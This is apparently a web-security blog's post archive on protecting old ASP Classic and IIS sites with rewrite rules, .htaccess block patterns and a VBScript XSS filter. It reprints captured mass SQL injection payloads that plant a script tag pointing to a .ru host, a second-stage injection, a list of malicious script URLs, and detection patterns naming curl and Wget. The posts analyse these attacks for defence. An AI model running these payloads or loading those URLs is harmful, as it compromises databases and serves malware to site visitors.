Showing posts with label SQL injection. Show all posts
Showing posts with label SQL injection. Show all posts

Friday, 8 July 2016

ISAPI URL Rewriting for ASP Classic on IIS 8

ISAPI URL Rewriting for ASP Classic on IIS 8


By Strictly-Software

I recently had to setup a dedicated server for some sites that we had to move from in-house hosting and outsource.

It was a move from Windows 2003 to a Windows 2012 server with IIS 8. 

As usual the person setting up the system was as useful as a glass hammer and I had to spend ages learning things outside my job description just to get the system to work.

Not only was the web server side of things a pain but he copies databases with a backup/restore method which means having to re-link all the users and logins, re-create MS Agent jobs, set execute permissions, trustworthy settings and install CLR assemblies and handle collation conflicts etc. All things I could do without!

As everything is so costly for Windows Hosting, licences for everything, moving the Helicon ISAPI .httpd.ini file was a no no due to the fees. Luckily you can install for free the IIS URL Rewrite Module and use that to replicate any rules you may be using.

IIS 8 is a lot different from IIS 6.5 which I was working on before but once you get the IIS URL Rewrite 2.0 component installed from Microsofts website you will see it (after restarting IIS), in the bottom section of each site in your IIS panel.

You can then use the GUI interface to create the rules which is a bit cumbersome when you are used to just knocking out regular expressions in a text file.

However it does make it easier for people not as skilled at writing regular expressions as they can choose the type of expression from a drop down, rewrite or redirect or abort request, but you can use the "Test Pattern" tool to ensure your rule will work.

This article is a great guide for people wanting to set up rules using the interface and it shows you the output which is a web.config file placed in the root of your site. It doesn't matter if your site is .NET or ASP classic the web.config rule will work as long as .NET is installed and enabled in IIS.

This means you can easily open up the file and edit it when adding rules.

A simple example which shows you some of the rules you can do is below. Remember as it's an XML file you need to HTML Encode any characters that may malform the XML such as angled brackets. This is where using the GUI Tool is useful as it will auto encode everything for you and tell you if the XML is valid.

This example starts with a simple rewrite rule for SEO to make /promo go to the page /promo.asp and then it has an SQL injection example and an XSS injection example.

Obviously all input should be sanitised anyway but it doesn't harm to have multiple rings of security. At the end is a list of common HTTP libraries to ban. These are the sort of user-agent that scrapers and script kiddies use. They often download the tools off the web and don't know how to OR forget to change the user-agent.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <httpErrors errorMode="Detailed" />
        <rewrite>
            <rules>                
  <rule name="Promo SEO to Promo" stopProcessing="false">
                    <match url="^promo$" />
                    <action type="Rewrite" url="/promo.asp" />
                </rule>
  <rule name="Login Reminder SEO to Login" stopProcessing="false">
                    <match url="^loginreminder$" />
                    <action type="Rewrite" url="/logonreminder.asp" />
                </rule>
                <rule name="RequestBlockingRule1 SQL Injection" stopProcessing="true">
                    <match url=".*" />
                    <conditions>
                        <add input="{QUERY_STRING}" pattern=".*?sys\.?(?:objects|columns|tables)" />
                    </conditions>
                    <action type="AbortRequest" />
                </rule>
                <rule name="RequestBlockingRule1 XSS" stopProcessing="true">
                    <match url=".*" />
                    <conditions>
                        <add input="{QUERY_STRING}" pattern=".*?(<svg|alert\(|eval\(|onload=).*" />
                    </conditions>
                    <action type="AbortRequest" />
                </rule>                
                <rule name="RequestBlockingRule2" stopProcessing="true">
                    <match url=".*" />
                    <conditions>
                        <add input="{HTTP_USER_AGENT}" pattern=".*?(?:ColdFusion|libwww\-perl|Nutch|PycURL|Python|Snoopy|urllib|LWP|PECL|POE|WinHttp|curl|Wget).*" />
                    </conditions>
                    <action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Access Denied" />
                </rule>        
            </rules>
        </rewrite>
    </system.webServer>
</configuration>


As you can see I am aborting the requests for hackers and bad BOTs rather than returning a 403 status code in all but the last example, and I am just doing it there to show you how a 403 is carried out.

The syntax is slightly different from normal .htaccess rules due to being inside the XML file and the properties that are specified but in reality if you know regular expressions you won't go wrong.

By Strictly-Software

© 2016 Strictly-Software

Friday, 22 January 2016

Quick HTACCESS Rules and VBS / ASP Functions for Banning Hackers

Quick HTACCESS Rules and VBS / ASP Functions for Banning Hackers

By Strictly-Software

Having to work on some old sites sometimes means that the security is often pretty lax and even if the system is locked down to prevent SQL Injection by having proper permissions, e.g not allowing CUD (Create, Update, Delete) statements to run from the front end, there is still the possibility of XSS hacks on an old ASP Classic site.

Running an exploit scanning tool like the OWASP ZAP tool is a good idea to find possible holes but even then I have found that it doesn't find all possible exploits. There are hackers looking to harm you and then there are the "ethical hackers" who will still try and probe your site to "warn you", and the "unethical" sort who try to blackmail customers by putting your URLS up on special websites that claim the site is a security minefield.

Even if your browser protects you from most cases, e.g trying to find a recent hack in Chrome was a nightmare due to it automatically protecting me by changing the HTML source, these reputation attacks will hurt your company and customers. Therefore even if you are not given the time or cannot fix every hole that could exist in your system, you should do as much as possible to prevent them from being found in the first place.

Having a proper WAF (Web Application Firewall), is always recommended but even if you don't you can make use of your .htaccess file to block a lot of probing plus you can always use code to validate requests, such as form submissions on contact forms or other pages that accept user content.

Having a CAPTCHA is always a good idea, and if not use a BOT TRAP if at all possible, however this won't stop a human with the spare time to examine your source code and work out what is going on to get around it either manually or by writing a custom BOT.

HTACCESS Rules

There are many .HTACCESS rules you can use to block attacks but I have found that some are overly obtrusive and will block legitimate requests.

For example if you want a good list of possible .htaccess rules to prevent probes from PHP, JavaScript, MySQL and WordPress then downloading the free plugin WP Security is a good way to see the sort of rules that can be applied to an .htaccess file.

Just turn on all the firewall, image hot linking and file protection rules you want and then go and view the .htaccess file in your root folder.

These rules are quite comprehensive and most are generic enough to be copied and used on Microsoft platforms that support .htaccess files if you want. Obviously a PHP hack isn't going to work on an IIS server but if you want to still catch people trying these hacks then having a page that logs and bans them if possible is an idea.

I won't show you all the rules you can take from other plugins but I will show you some core rules that can cut down your "Bad Traffic" by a huge percentage.

I have found on my own sites that banning any Internet Explorer version under 7 is always a good idea as many of these hacker tools that script kiddies use, still have a default user-agent of IE 5-6, and for some reason these people don't bother changing the user-agent.

Therefore just examining your IIS log files for any user with IE 5, 5.5 or 6 user-agent is a good indication that they are up to no good. You can read about this and another way to reduce bandwidth on another article of mine here.


RewriteRule %{HTTP_USER_AGENT} (MSIE\s6\.0|MSIE\s5\.0|MSIE\s5\.5) [NC]
RewriteRule .* http://127.0.0.1 [L,R=302]


This rule sends any user-agent with IE 5, 5.5 or 6 back to the localhost on the users machine with a 302 rewrite rule. 

You could just use a [F] Forbidden (403) rule if you want but at least this way you are going to piss the offenders off a bit more by sending them in circles.

Here are some more rules I use regularly which sends the user to a special hack.asp page where I can log their details and bounce them to a honeypot or a circular link maze of my choice.

As you can see the rules cover some common SQL Injection attacks that utilize the system tables, anything trying to be executed (EXEC), plus <Script> tags using standard and URL encoded brackets.

This is because a lot of "ethical hackers" or probers will try simple <script>alert("Hacked")<script> tests on any search form they can find on your site.

If the page you get posted to pops up an alert box then you are vulnerable to Cross Site Scripting attacks.

Other methods they commonly use are HTML tags that allow for onload functions to be run as well as "break out" code that tries to close an HTML element, then output it's own HTML or JavaScript code.

# SQL INJECTION and XSS FINGERPRINTING
RewriteRule ^/.*?\.asp\?(.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).*)$ /jobboard/error-pages/hack\.asp\?$1 [NC,L,U]
RewriteRule ^/.*?\.asp\?(.*?sys.?(?:objects|columns|tables).*)$ /jobboard/error-pages/hack\.asp\?$1 [NC,L,U]
RewriteRule ^/.*?\.asp\?(.*?;EXEC\(\@\w+\);?.*)$ /jobboard/error-pages/hack\.asp\?$1 [NC,L,U]
RewriteRule ^/.*?\.asp\?(.*?(%3C|<)/?script(%3E|>).*)$ /jobboard/error-pages/hack\.asp\?$1    [NC,L,U]
RewriteRule ^/.*?\.asp\?(.*?((%2[27])%3E(%20)*%3C|['"]>\s*<).*)$ /jobboard/error-pages/hack\.asp\?$1    [NC,L,U]
RewriteRule ^/.*?\.asp\?(.*?(<svg|alert\(|eval\(|onload).*)$ /jobboard/error-pages/hack\.asp\?$1    [NC,L,U]

# Block blank or very short user-agents. If they cannot be bothered to tell me who they are or provide jibberish then they are not welcome!                                                       
RewriteCond %{HTTP_USER_AGENT} ^(?:-?|[a-z1-9\-\_]{1,10})$ [NC]
RewriteRule .* - [F,L]


ASP / VBScript Function

As well as having a good set of .htaccess rules to prevent hacks by QueryString you can always use a function to parse any content through to look for hacks. Of course it is possible to use .htaccess rules to filter out HTTP POST and GET Requests but you may want to prevent too many regular expressions running on every POST with your .HTACCESS file by just passing publicly accessible forms with your function.

A very basic example is below.

Function TestXSS(strVal)
 
 Dim bRet : bRet = False

 '* remove encoded < > etc, use your own URL Decode function, I use a SERVER SIDE JavaScript with their decodeURIComponent function to do this in ASP Classic
 strVal = URLDecode(Trim(strVal))

 '* URL Encoded stuff like %3Cscript%3Ealert(1)%3C%2fscript%3E will get trapped by ISAPI
 '* RegTest is just a generic function I have which does a regular expression test against a value and pattern to see if it matches like C# RegEx.IsMatch
 If RegTest(strVal, "(?:<\/?script(\s|>|)|\W+eval\(|\W+(?:src|onload)=|document\.)") Then
  bRet = True
 Else    
  If RegTest(strVal, "(';|"";|'>|"">|alert\(|document\.cookie|\.frame|\.top\.location|(?:document|location)\.src|on\w+\()") Then
   bRet = True
  Else
   bRet = False 
  End If
 End If

 TestXSS = bRet
End Function


Obviously you can extend this function as much as you want to check for other words or pieces of code that shouldn't be passed around in forms or querystrings. It is just a base for you to start with.

Conclusion

Remember security is best approached in a multi layered way without your system relying on one form of defence alone.

WAFS, HTACCESS rules, code, CAPTCHAS, BOT Traps, special "not to be visited" links in your Robots.txt file that then send visitors to that page off to honeypots for breaking the rules, rude word lists, proper file permissions and HTTP parameter checks are all various ways to protect your site.

However many of these are sticking plasters which are used to protect your code in case it has not been 100% written to sanitise ALL user input, escape content outputted to the page, or has incorrect database security permissions.

Having a properly written and secured system is always the best solution however new exploits are always coming out so having as much protection as possible is not only good for security but it can save on bandwidth costs as well!

© 2016 By Strictly-Software.com

Friday, 18 September 2015

What is the point of client side security

Is hacking the DOM really hacking?

By Strictly-Software

The nature of the modern web browser is that it's a client side tool.

Web pages that are stored on web-servers when viewed in Chrome or FireFox are downloaded file by file (CSS, JavaScript, HTML, Images etc), and stored temporarily on your computer whilst your browser application puts them together so you can view the webpage.

This is where your "browser cache" comes from. It is good to have commonly downloaded files such as the jQuery script or common images from frequently visited pages in your cache but when this folder gets too big it can become slow to traverse and load from. This is why a regular clean out is recommended by a lot of computer performance tools.

So because of this putting any kind of security on the client side is pointless as anyone with a small working knowledge of Internet technology can bypass it. I don't want to link to a certain site in particular but it appeared as a google advert on my site the other day claiming to protect your whole website from theft, including your HTML source code.

However if you have a spare 30 minutes on your hands, have Firebug installed (or any modern browser that allows you to visit and edit the DOM) and did a search for "code to protect HTML" you would be able to bypass the majority of the sites wonderful security claims with ease.

Examples of such attempts to use client side code to protect code or content include:

1. Trying to protect the HTML source code from being viewed or stolen. 

This will include the original right mouse click event blocker.

This was used in the old days in the vain hope that people didn't realise that they could just go to Tools > View Source instead of using the context menu which is opened with a right click on your mouse.

The other option was just to save the whole web page from the File menu. 

However you can now just view the whole generated source with most developer tools e.g Firebug - or hitting F12 in Chrome.

Some sites will also generate their whole HTML source code with Javascript code in the first place. 
Not only is this really really bad for SEO but it is easily bypassed.

A lot of these tools pack, encode and obfuscate it on the way. The code is then run through a function to evaluate it and write it to the DOM

It's such a shame that this can all be viewed without much effort once the page loads in the DOM. Just open your browsers Developer Toolbar and view the Generated Source and hey presto the outputted HTML is there.

Plus there are many tools that let you run your scripts on any page e.g someone at work the other day didn't like the way news sites like the BBC always showed large monetary numbers as £10BN and added a regular expression into one of these tools to automatically change all occurrences to £10,000,000,000 as he thought the number looked bigger and more correct.  Stupid example I know but it shows that with tools like Fiddler etc that you can control the browser output.

2. Using special classes to prevent users from selecting content

This is commonly used on music lyric sites to prevent people copying and pasting the lyrics straight off the page by selecting the content and using the copy button.

Shame that if you can modify the DOM on the fly you can just find the class in question with the inspect tool, blank it out and negate it's affect.

3. Multimedia sites that show content from TV shows that will remain unnamed but only allow users from the USA to view them. 

Using a proxy server sometimes works but for those flash loaded videos that don't play through a proxy you can use YSlow to find the base URI that the movie is loaded from and just load that up directly.

To be honest I think these companies have got wise to the fact that people will try this as they now insert location specific adverts into the movies which they never used to do. However it's still better than moving to the states!

4. Sites that pack and obfuscate their Javascript in the hope of preventing users from stealing their code. 

Obviously minification is good practise for reducing file size but if you want to unpack some JavaScript then you have a couple of options and there maybe some valid reasons other than just wanting to see the code being run e.g preventing XSS attacks.

Option 1 is to use my script unpacker form which lets you paste the packed code into a textarea, hit a button and then view the unpacked version in another textarea for you to copy out and use. It will also decode any encoded characters as well as well as formatting the code and handling code that has been packed multiple times.

If you don't want to use my wonderful form and I have no idea why you wouldn't then Firefox comes to the rescue again. Copy the packed code, open the Javascript error console and paste the code into the input box at the top with the following added to the start of it:

//add to the beginning eval=alert;
eval=alert;eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3(0,1){4(0===1){2("5 6")}7{2("8 9")}',10,10,'myvar1|myvar2|alert|function|if|well|done|else|not|bad'.split('|'),0,{}))

// unpacked returns
function(myvar1,myvar2){if(myvar1===myvar2){alert("well done")}else{alert("not bad")}



Then hit evaluate and the unpacked code will open in an alert box which you can then copy from.

What the code is doing is changing the meaning of the function eval to alert so that when the packed code runs within its eval statement instead of executing the evaluated code it will show it in the alert message box.

There are many more techniques which I won't go in to but the question then is why do people do it?

Well the main reason is that people spend a lot of time creating websites and they don't want some clever script kiddy or professional site ripper to come along steal their content and use it without permission.

People will also include whole sites nowadays within frames on their own sites or just rip the whole thing CSS, images, scripts and everything else with a click of a button. There are too many available tools to count and a lot of phishing sites will copy a banks layout but then change the functionality so that it records your account login details.

I have personally seen 2 sites now that I have either worked on or know the person who did the work appear up on the net under a different URL with the same design, images, JS code, all the same apart from the wording was in Chinese .

The problem is that every modern browser now has a developer tool set like Firebug, Chrome or Internet Explorers developer toolbar. For older browsers there are Operas dragonfly and even Firebug-lite which replicates Firebug functionality for those of you wanting to use it on older browsers like IE 6.

Therefore with all these built in tools to override client side security techniques it seems pretty pointless trying to put any sort of security into your site on the client side.

Even if you didn't want to be malicious and steal or inject anything you can still modify the DOM, run your own Javascript, change the CSS and remove x y and z.

All security measures related to user input should be handled on the server to prevent SQL injection and XSS hacks but that's not to say that duplicating validation checks on the client isn't a good idea.

For one thing it saves time if you can inform a user that they have inputted something incorrectly before the page is submitted.

No one likes to fill in a long form submit it and wait whilst the slow network connection and bogged down server takes too long to respond only to show another page that says one of the following:
  • That user name is already in use please choose another one.
  • Your email confirmation does not match.
  • Your password is too short.
  • You did not complete blah or blah.
Things like this should be done client side if possible, using Ajax for checks that need database look ups such as user name availability tests. Using JavaScript to test whether the user has JavaScript enabled is a good technique for deciding whether to rely purely on server side validation or to load in functions that allow for client side validation if possible.

However client side code that is purely there to prevent content from being accessed without consent seems pointless in the age of any modern browser.

Obviously there is a large percentage of web users out there that wouldn't know the first thing to do when it comes to bypassing client side security code and the blocking of the right click context menu would seem like black magic to them.

Unfortunately for the people who are still wanting to protect their client side code the people that do want to steal the content will have the skills to bypass all your client side cleverness.

It may impress your boss and seem worth the $50 for about 10 minutes until someone shows you how you can add your own Javascript to a page to override any functions already there for blocking events and checking for iframe positioning.

My only question would be is it really hacking to modify the DOM to access or bypass certain features meant to keep the content on that page?

I don't know what other people think about this but I would say no its not.

The HTML, images, JavaScript and CSS are ALL on my computer at the point of me viewing them on whatever browser I am using. Therefore unless I am trying to change or inject anything into the web or database server to affect future site visitors or trying to bypass challenge responses then I am not really hacking the site just modifying the DOM.

I'd be interested to know what others think about that question?

By Strictly-Software

© 2015 Strictly-Software

Sunday, 25 January 2015

Returning BAD BOTS to where they came from

Banning BAD BOTS to where they came from

By Strictly-Software

Recently in some articles I mentioned some .htaccess rules for returning "BAD BOTS" e,g crawlers you don't like such as IE 6 because no-one would be using it anymore and so on.

Now the rule I was using was suggested by a commenter in a previous article and it was to use the REMOTE_ADDRESS IP parameter to do this.

For example in a previous article (which I have now changed) about banning IE 5, 5.5 and IE 6, I originally suggested using this rule for banning all user-agents that were IE 5, 5.5 or IE 6.

RewriteRule %{HTTP_USER_AGENT} (MSIE\s6\.0|MSIE\s5\.0|MSIE\s5\.5) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [L,R=301]

Now this rewrite rule uses the ISAPI parameter {REMOTE_ADDR} which holds the originating IP address from the HTTP request to send anyone with IE 6 or below back to it.

It is the IP address you would normally see in your servers access logs when someone visits.

Problems with this rule

Now when I changed the rules on one of my own sites to this rule and then started testing it at work for a work site by using a user-agent switcher add-on for Chrome I ran into the problem that every time I went to my own site I was sent back to my companies gateway router page.

I had turned the switcher off but for some reason either a bug in the plugin, a cookie or session variable must have caused my own site to believe I was still on IE 6 and not the latest Chrome version. So everytime I went to my site with this rule I was kicked back to my companies gateway routers page.

Therefore after a clean up and a think and talk with my server techie guy he told me I should be using localhost instead of the REMOTE_ADDR IP address .The reason was that a lot of traffic, hackers, HACKBOTS, Spammers and so on would be hitting the Gateway page for their ISP for potential hacking,

These ISP's might get a but pissed off with your website sending their gateway routers page swathes of traffic that could potentially harm them,

Therefore to prevent getting letters in the post that you are sending swathes of hackers to your homes or phones ISP gateway - as a lot of phones or tablets use proxies for their browsers anyway - is to send them back to their own localhost or 127.0.0.1.

Also instead of using a 301 permanent redirect rule you should use a 302 temporary redirect rule instead as that is the more appropriate code to use,

Use this rule instead

Therefore the rule I now recommend for anyone wanting to ban all IE 5, 5.5 and 6 traffic is below.

RewriteRule %{HTTP_USER_AGENT} (MSIE\s6\.0|MSIE\s5\.0|MSIE\s5\.5) [NC]
RewriteRule .* http://127.0.0.1 [L,R=302]

This Rewrite rule bans IE 5, 5.5 and IE 6.0 and sends the crawler back to the localhost on the users machine with a 302 rewrite rule. You can obviously add other rules in with BOTS and SQL/XSS injection hacks as well

This is a more valid rule as it's not a permanent redirect for the traffic such as if a page has changed it's name. Instead it's down to an invalid parameter or value in the HTTP Request that the user is being redirected to the new destination with a redirect.

If the user changed it's user-agent or parameters then it would get to the site and not be redirected with a 301 OR a 302 status code but instead get a 200 OKAY status code.

So remember, whilst an idea might seem good at first until you fully test it and ensure it doesn't cause problems it might not be all that it seems.

Wednesday, 9 June 2010

SQL Injection attack from Googlebot

SQL Injection Hack By Googlebot Proxy

Earlier today on entering work I was faced with worried colleagues and angry customers who were complaining about Googlebot being banned from their site. I was tasked to finding out why.

First off all my large systems run with a custom built logger database that I created to help track visitors, page requests, traffic trends etc.

It also has a number of security features that constantly analyse recent traffic looking for signs of malicious intent such as spammers, scrapers and hackers.

If my system identifies a hacker it logs the details and bans the user. If a user comes to my site and its already in my banned table then it's met with a 403 error.

Today I found out that Googlebot had been hacking my site using known SQL Injection techniques.

The IP address was a legitimate Google IP coming from the 66.249 subnet and there were 20 or so records from one site in which SQL injection attack vectors had been passed in the querystring.

Why this has happened I do not know as an examination of the page in question found no trace of the logged links however I can think of a theoretical example which may explain it.

1. A malicious user has either created a page containing links to my site that contain SQL Injection attack vectors or has added content through a blog, message board or other form of user generated CMS that has not sanitised the input correctly.

2. This content has then been indexed by Google or even just appeared in a sitemap somewhere.

3. Googlebot has visited this content and crawled it following the links containing the attack vectors which have then been logged by site.

This "attack by SERP proxy" has left no trace of the actual attacker and the trail only leads back to Google who I cannot believe tried to hack me on purpose.

Therefore this is a very clever little trick as websites are rarely inclined to block the worlds foremost search engine from their site.

Therefore I was faced with the difficult choice of either adding this IP to my exception list of users never to block under any circumstance or blocking it from my site.

Obviously my sites database is secure and it's security policy is such that even if a hackbot found an exploitable hole updates couldn't be carried out by the websites login however this does not mean that in future an XSS attack vector could be created and then exploited.

Do I risk the wrath of customers and let my security system carry on doing it's job and block anyone trying to do my site harm even if its a Google by Proxy attack or do I risk a potential future attack by ignoring attacks coming from supposedly safe IP addresses?

Answer

The answer to the problem came from the now standard way of testing to see if a BOT really is a BOT. You can read about this on my page 4 Simple Rules Robots Won't Follow. It basically means doing a 2 step verification process to ensure the IP address that the BOT is crawling from belongs to the actual crawler and not someone else.

This method is also great if you have a table of IP/UserAgents that you whitelist but the BOT suddenly starts crawling from a new IP range. Without updating your table you need to make sure the BOT is really who they say they are.

Obviously it would be nice if Googlebot analysed all links before crawling them to ensure they are not hacking by proxy but then I cannot wait for them to do that.

I would be interested to know what other people think about this.

Thursday, 1 October 2009

Two Stage SQL Injection Attack

SQL Injection in two easy steps

Recently I came across the following SQL injection exploit which I thought I would post about as it tries to deliver its payload in two steps and unless you have actually spent the time decoding the varbinary strings they use you might not realise what its doing. Its based on a very successful exploit which has been doing the rounds for a couple of years now and makes use of an encoded varbinary string which is then decoded to insert malicious code into your system.


Step One - First attempt at insertion

So if you are checking your log files or logger database and see strings like the following in your querystrings then you probably know you've been crawled by a hackbot.

dEClaRe%20@s%20VaRchaR(4000);seT%20@S=CASt(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220%20aS%20vaRchAR(4000));EXEc(@S);--


Now if you want to know what this is doing you should be very careful so that you don't actually run the exploit and do the hackers work for them! So copy and paste and only use a Query Analyser window that's not connected to any live database.

First thing to do is URLDecode the string so that you get the spaces and symbols back. Use the great Hackbar add-on by FireFox or run it through a function such as UNESCAPE, URLDecode etc.

Then make sure you remove the end part which execute the string e.g ;EXEc(@S);-- and replace it with a PRINT statement e.g:

DECLARE @S VaRchaR(4000);
SET @S = CAST(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220 aS vaRchAR(4000))
PRINT @S

Now we need to find out what that encoded varbinary is doing so we run that SQL statement to view the contents of the variable @S which returns the following code:

dECLARe @T VArCHar(255),@c VarCHaR(255)

DeClaRE tAblE_CURsOR cUrSOR FoR

SELeCt A.naME,B.NaME
froM sysObjecTs a,sysCOLuMns B
wheRE a.id=b.Id AND a.xTYPE='U' and (B.xTYpe=99 OR b.xTYpe=35 OR b.xTyPe=231 or B.XtyPE=167)
oPeN taBlE_Cursor fetCh NEXt FROm tAbLe_cursoR iNTO @t,@C

WHile(@@fETch_sTATuS=0)
BeGIn
EXeC('updAte ['+@T+'] seT ['+@c+']=RTriM(cONvert(varCHAr(4000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))')
fETCH neXT FrOm TABLE_CUrsOr inTo @t,@C enD

clOse TaBLe_cURsOr

dEaLLocate taBlE_cUrsoR

Notice the lovely case syntax aLl uP aNd DoWn to get round anyone who forgot to make any regular expression tests case insensitive! It must be working on some sites otherwise they wouldn't be doing it.

Notice the long CAST statement in the middle of the UPDATE. This is different from previous similar attacks which would just insert a reference to a SCRIPT tag which referred to a virus infected site. They are trying to insert this encoded string into all the textual columns it can find in your database. I wonder what that string contains?


Step Two - Unpacking the newly inserted exploit

Well just after the first attempt on this page another attempt is made almost instantly with another payload which when looking at the log file or database seems just like the first one. However the injection string is slightly different and when its expanded out is:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR

SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH
NEXT FROM Table_Cursor
INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN

EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')

FETCH NEXT
FROM Table_Cursor
INTO @T,@C END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

So this second hit on your system is designed to unpack the previous attempts injection of an encoded string into your textual columns. Its looking for any textual columns that when converted to VARCHAR(4000) contain a SCRIPT tag and converting them to text to expose this SCRIPT tag to any web pages that display the contents of these columns.

So finally to find out which website this two stage attack is trying to deliver unsuspecting victims to we need to go back to the first payload and print out the contents of that long CAST statement in the middle of the UPDATE e.g:

PRINT cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))

<script src=http://www.adtcp.ru/ads.js></script>

I wonder what goodies can be found on this site!

Hopefully this exploit doesn't take too many victims but if it does you can use my SQL clean up script to remove any SCRIPT tags from your SQL database.

To avoid being caught out by attacks like this you should do as many of the following as possible:
  • Lock down your system views so they cannot be accessed by your website logons.
  • Put all your CUD (create, update, delete) statements in stored procs with execute permission and then only grant your website logon select permission.
  • Use parametrised queries instead of string concatenation to build SQL statements.
  • Sanitise all input parameters used for SQL that are submitted from your website.
  • Create some simple ISAPI rules to forward requests like these to 403 error pages.
  • Ensure any error messages are hidden from your website users.
Read this article of mine for more details.

Friday, 25 September 2009

SQL Injection Case unsensitive

SQL Injection Hack Strings

I have just had a look at some recent hack attempts on one of my large systems and I noticed that a lot of the SQL injection hack attempts are using a mixture of cases e.g

deClaRE @s vArchAR(4000);SeT @S=caSt(0x4465636C615245204074205641524348415228323535292C404320766172434841522832353529206465636C415245205461426C455F637552734F5220437572536F5220464F722073456C65637420612E6E614D452C422E4E614D652046526F4D207359734F426A6543547320612C737973434F6C556D4E73206220774865526520612E69643D422E696420616E4420412E78547950453D27552720414E442028622E78545950653D3939204F7220622E78547970453D3335204F5220422E58745950453D323331204F7220622E58547970453D31363729204F70654E205461624C455F637552736F72204645744368206E4578542046524F4D205461626C455F435552736F7220694E544F2040542C4063207748496C4528404046657463685F5374615475533D302920426567496E20457845432827557064617465205B272B40542B275D20736574205B272B40632B275D3D727472494D28436F6E7665525428766152436861522834303030292C5B272B40432B275D29292B434173542830583343373336333732363937303734323037333732363333443638373437343730334132463246373737373737324536323631364536453635373236343732363937363635364532453732373532463631363437333245364137333345334332463733363337323639373037343345206153205641526368415228353629292729204645746368206E6558742046524F6D205441626C655F635572734F7220696E744F2040742C404320654E4420436C6F7345207461626C455F435572736F72206445416C6C6F43417465205461426C655F635572736F5220 as varchaR(4000));exec(@s);-null


You should always ensure that any regular expressions employed to detect SQL injections are case insensitive so that they match strings like this. They have obviously started employing this technique to catch out those people who forgot to add the appropriate flags to any ISAPI rewrite files (I or NC depending on the rewrite engine you are using).

Same goes for any manual regular expression tests in the application. Always ensure that you match all text cases. You would hate to be caught out because of something as simple as this right?

If you have been caught out and need to resolve a database infected with numerous SCRIPT tags all pointing towards dodgy virus infected sites with a .ru domain then I recommend checking out my database clean up script:


Or if you need some hack plasters to place on your system until your can resolve the underlying issue that allowed the hack check out this article:

Tuesday, 23 September 2008

Latest SQL Injection URLS

Cleaning up a site infected with multiple SQL injected URLs

I have just had to clean up an ancient system that had been successfully hacked by automated hack bots. The site was a small news system that was visited rarely and written about 7 years ago. The code was ASP classic and the SQL was all client side and created using string concatenation with poor parameter sanitization and no thought paid at all to SQL injection methods. Luckily the site owner is moving to a new system this week however I still had to clean the database up and the main affected table contained at least 20 different script tags, some appearing over 5 times all referencing dodgy URIs. In fact by the looks of things the majority of the sites traffic over the last month was purely from hack bots which just goes to show that no matter how small a site is if it can be found on the web then a hackbot is going to try its luck. Luckily I managed to remove all traces of the hack using my clean up script and there was no need for a database backup restore.

However I thought it would be helpful to list out all the URI's injected into the system.
As you can see most are Russian with a few Chinese thrown in for good measure so nothing new there. They all caused Googles vulnerable site report to raise a flag and I believe the JS is the standard hack that makes use of the well known Iframe vulnerabilities in old browsers.

http://www0.douhunqn.cn/csrss/w.js
http://www.usaadp.com/ngg.js
http://www.bnsdrv.com/ngg.js
http://www.cdport.eu/ngg.js
http://www.movaddw.com/ngg.js
http://www.lodse.ru/ngg.js
http://www.sdkj.ru/ngg.js
http://www.kc43.ru/ngg.js
http://www.jex5.ru/ngg.js
http://www.bnrc.ru/ngg.js
http://www.bts5.ru/ngg.js
